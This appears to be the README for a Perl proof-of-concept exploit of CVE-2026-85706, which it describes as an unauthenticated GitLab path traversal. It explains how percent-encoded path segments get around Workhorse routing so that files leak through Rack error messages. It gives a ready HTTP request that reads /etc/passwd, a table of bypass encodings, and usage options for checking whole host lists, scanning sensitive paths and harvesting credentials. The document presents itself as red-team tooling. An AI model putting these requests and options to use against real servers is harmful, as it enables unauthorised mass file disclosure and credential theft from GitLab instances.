
PoC Perl exploitant CVE-2026-85706, une traversée de chemin GitLab non authentifiée permettant la lecture arbitraire de fichiers, avec analyse en masse et collecte d'identifiants.
Uniquement pour les tests d'intrusion autorisés et les opérations Red Team.
Toute utilisation non autorisée constitue une infraction pénale. Voir Mentions légales.
CVE-2026-85706 est une vulnérabilité de traversée de chemin (path traversal) de score CVSS 10.0 affectant les éditions Community et Enterprise de GitLab, qui permet à un attaquant totalement non authentifié de lire des fichiers arbitraires du système de fichiers du serveur avec une seule requête HTTP. Aucun identifiant, aucun jeton, aucune interaction utilisateur requis.
| Branche | Plage vulnérable | Corrigée dans |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
La pile HTTP de GitLab comporte trois couches :
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse agit comme un reverse proxy intelligent : pour certains points de terminaison « upload » (commits de dépôt, opérations sur les fichiers), il lit les corps de requête multipart, enregistre les données de fichier sur disque et réécrit la requête avant de la transmettre à Puma. Point crucial : il attache un en-tête JWT (Gitlab-Workhorse-Api-Request) à chaque requête qu'il proxifie. Rails valide ensuite ce JWT (via require_gitlab_workhorse!) avant d'exécuter toute logique de gestionnaire.
Niveau 1 — Correspondance de route Workhorse :
Workhorse fait correspondre les chemins de requête à l'aide d'une expression régulière compilée qui opère sur la chaîne d'octets brute, encodée en pourcentage. Il ne décode PAS les séquences %XX avant la correspondance.
Niveau 2 — Routage Puma/Rack :
Puma décode les séquences %XX avant que Grape ne route la requête. Ainsi, une requête vers /repository/%63ommits est décodée en /repository/commits et routée vers CommitsController.
Niveau 3 — Lecture de fichier avant authentification :
Une fois dans le gestionnaire Rails (atteint sans le JWT de Workhorse, car Workhorse n'a jamais fait correspondre la requête), le gestionnaire lit params[:file][:path] depuis la chaîne de requête et appelle :
File.open(params[:file][:path]) # ← happens BEFORE authentication
En encodant en pourcentage un caractère dans un segment de chemin statique, la requête de l'attaquant échappe à la détection de Workhorse :
| Segment | Original | Forme de contournement | Caractère encodé |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (any) | commits | commits/ | barre oblique finale |
| (any) | commits | commits.json | suffixe Grape |
Une fois le fichier ouvert, le contenu est exfiltré via l'analyseur de chaîne de requête de Rack :
Rack::Utils.parse_nested_query(File.read(path))
Si le fichier contient un % non suivi de deux chiffres hexadécimaux valides (ce qui est courant dans les fichiers de configuration Ruby, les YAML de CI, les journaux, etc.), Rack lève :
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Ce corps de réponse de 400 contient le contenu brut du fichier jusqu'à l'octet fautif inclus — révélant le contenu du fichier à l'appelant non authentifié.
Les fichiers sans séquences % exploitables (par exemple, un /etc/passwd propre) renvoient une erreur 401 ou de validation de paramètre après la lecture : cela agit comme un oracle d'existence de fichier (la lecture a tout de même eu lieu avant l'authentification).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Technique | ID | Implémentation dans ce PoC |
|---|---|---|
| File and Directory Discovery | T1083 | Le mode --scan sonde 38 chemins serveur sensibles |
| Credentials In Files | T1552.001 | --harvest extrait les clés/tokens/mots de passe du contenu divulgué |
| Module | Paquet | Rôle |
|---|---|---|
LWP::UserAgent | libwww-perl | Client HTTP (obligatoire) |
LWP::Protocol::https | libwww-perl | Prise en charge HTTPS (obligatoire) |
URI::Escape | liburi-perl | Encodage des chaînes de requête (obligatoire) |
Term::ANSIColor | libterm-ansicolor-perl | Sortie colorée (facultatif) |
JSON | libjson-perl | Mode de sortie JSON (facultatif) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output